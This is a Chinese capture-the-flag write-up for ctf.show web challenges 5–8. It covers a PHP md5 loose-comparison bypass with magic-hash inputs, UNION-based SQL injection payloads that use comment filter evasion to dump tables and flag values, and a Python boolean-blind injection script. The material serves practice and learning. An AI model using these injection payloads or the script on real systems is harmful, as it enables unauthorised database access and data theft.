ctf.show web 5-8 writeup

ctf.show web 5-8 writeup

目录

web5

解题过程

web6

解题过程

web7

解题过程

web8

解题过程


web5

题目:

解题过程

ctf.show_web5
where is flag?
<?php
error_reporting(0);
    
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

</body>
</html>

相关资料:

ctype_alpha ( string $text ) : bool

做纯字符检测如果在当前语言环境中 text 里的每个字符都是一个字母,那么就返回true,反之则返回false。
is_numeric() 函数

用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。

同时php弱类型比较,当比较的双方类型不相同时,会先转化成相同的再进行比较,如果转化之后都是以0e为开头的字符串,则==成立。

payload:

?v1=QNKCDZO&v2=240610708

web6

题目:

解题过程

打开题目后,如下

类似于之前的web2,但是试了试发现有过滤

fuzz一下,空格被过滤掉了

可以用/**/代替空格进行绕过,接下来的步骤就是经典老番

注入点

username=admin'/**/or/**/1=1#&password=1

回显点为2,字段数为3

username=admin'/**/union/**/select/**/1,2,3#&password=1

爆库名

username=admin'/**/union/**/select/**/1,database(),3#&password=1

爆表名

username=admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#&password=1

爆字段名

username=admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=1

爆字段值

username=admin'/**/union/**/select/**/1,group_concat(0x7e,flag,0x7e),3/**/from/**/flag#&password=1

web7

题目:

解题过程

打开题目

查看url三篇文章分别对应?id=1 2 3   ,之前做过类似的题目也是sql注入

这次吸取了上次的教训,先fuzz一下,还是过滤掉了空格,同样还是/**/代替空格进行绕过,同时注意这次试get传值,不是post传值

查字段数和回显点

?id=121'/**/union/**/select/**/1,2,3#

 

可以判断字段数为3,回显点为3

爆库名

?id=121'/**/union/**/select/**/1,2,database()#

爆表名

?id=121'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

爆字段名

?id=121'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

 这......没爆出字段名........,啊这,当时以为在其他表里,结果都试了一遍还是没有........,没有回显    (懂的大佬请教教我)

爆字段值

但是可以盲猜一波,做的时候因为之前的字段名都是flag,所以我还是猜字段名为flag.。。结果成功了。。。

?id=121'/**/union/**/select/**/1,group_concat(0x7e,flag,0x7e),3/**/from/**/flag#

web8

题目:

解题过程

打开题目后,如下,还和之前的题目类似

有了之前的经验,先fuzz一下,本题过滤的比较多,过滤了union, select,',,(逗号),and,空格等等

联合查询用不了,可以试试用脚本跑,参考师傅们的wp,发现上个题目也是可以用py跑出来的

下面是找的师傅们的wp,我修改了一点点,原文传送门

下面的代码分别进行注释,即可分别得到表名,字段名,字段值。

import requests
s=requests.session()
url='http://afa20ae4-5e7d-4ace-81a5-a78dea7c2f3e.chall.ctf.show:8080/index.php'
table=""

for i in range(1,46):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        #payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'There was one clear' in ra:
            table += chr(j)
            print(table)
            break


总结:学到了一些绕过姿势,/**/代替空格等等,但是py脚本跑盲注题目还是不太熟练,还要多多实践。

猜你喜欢

转载自blog.csdn.net/RABCDXB/article/details/113829734